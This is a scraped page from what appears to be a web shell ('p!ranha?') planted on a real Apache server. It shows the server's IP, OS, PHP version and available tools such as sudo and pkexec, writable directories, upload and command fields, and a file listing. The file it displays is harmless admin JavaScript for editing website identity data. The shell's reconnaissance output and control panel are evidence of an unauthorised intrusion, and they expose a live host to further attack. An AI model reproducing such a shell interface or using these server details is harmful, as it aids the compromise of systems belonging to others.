p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/newsigniter/application/views/back/pages/web/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/newsigniter/application/views/back/pages/web/identity-datatable.php
<script type="text/javascript">

   let tableIdentity;
   let base_url = '<?= base_url();?>';

   // Show Table
   $(document).ready(function(){

      tableIdentity = $('#tableIdentity').DataTable({
         processing: true,
         serverSide: true,
         order: [],
         ajax: {
            'url': "<?= base_url('back/identity/ajax_list') ?>",
            'type': "POST"
         },
         columnDefs: [
            { 
               'targets': [ 0, 1, 2 ], 
               'orderable': false, 
            }
         ],
      });

   });

   // Reload Table
   function reload_table(){
      tableIdentity.ajax.reload(null, false);
   }

   //Edit  
   function edit_identity(id){
      $('#form')[0].reset();
      $.ajax({
         url : '<?= base_url('back/identity/get_data/') ?>',
         data: {id: id},
         type: 'post',
         dataType: 'json',
         success: function(data){
            $('[name="id"]').val(data.id);
            $('[name="web_name"]').val(data.web_name);
            $('[name="web_address"]').val(data.web_address);
            $('[name="meta_description"]').val(data.meta_description);
            $('[name="meta_keyword"]').val(data.meta_keyword);

            $('.modal-title').text('Edit Identitas Website');
            $('#photo-preview').show();
            $('#modalIdentity').modal('show');

            if(data.photo){
               $('#label-photo').text('Change Photo'); 
               $('#photo-preview div').html(`<img src="${base_url}images/favicon/${data.photo}" class="img-responsive" style="max-width:200px;">`);
               $('#photo-preview div').append(`<br><br><input type="checkbox" name="remove_photo" value="${data.photo}"/> Delete Photo`); 

            }else{
               $('#label-photo').text('Upload Photo'); 
               $('#photo-preview div').text('(No photo)');
            }
         },
      });
   }

   // Save Button Modal
   function save(){
      $('#btn_save').text('Saving...');
      $('#btn_save').attr('disabled', true);

      var formData = new FormData($('#form')[0]);
      
      $.ajax({
         url: '<?= base_url('back/identity/update')?>',
         type: 'post',
         data: formData,
         contentType: false,
         processData: false,
         dataType: 'json',
         success: function(data){
            if(data.status){
               $('#modalIdentity').modal('hide');
               Swal.fire({
                  icon: 'success',
                  title: 'Success',
                  showConfirmButton: true
               });
               tableIdentity.draw();
            }
         $('#btn_save').text('Save');
         $('#btn_save').attr('disabled', false);
         },  
         error: function(){
            Swal.fire({
               icon: 'error',
               title: 'Oops...',
               text: 'Terjadi Suatu Kesalahan!',
               showConfirmButton: true
            });
            $('#modalIdentity').modal('hide');
            $('#btn_save').text('Save');
            $('#btn_save').attr('disabled', false);
         }
      }); 
   }

</script>
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 03 2025 03:29:10
0 / 0
0755
contact-datatable.php
2.142 KB
May 22 2021 15:56:56
0 / 0
0644
contact.php
2.271 KB
May 22 2021 13:10:10
0 / 0
0644
identity-datatable.php
3.04 KB
May 22 2021 15:57:02
0 / 0
0644
identity.php
3.404 KB
May 22 2021 13:10:24
0 / 0
0644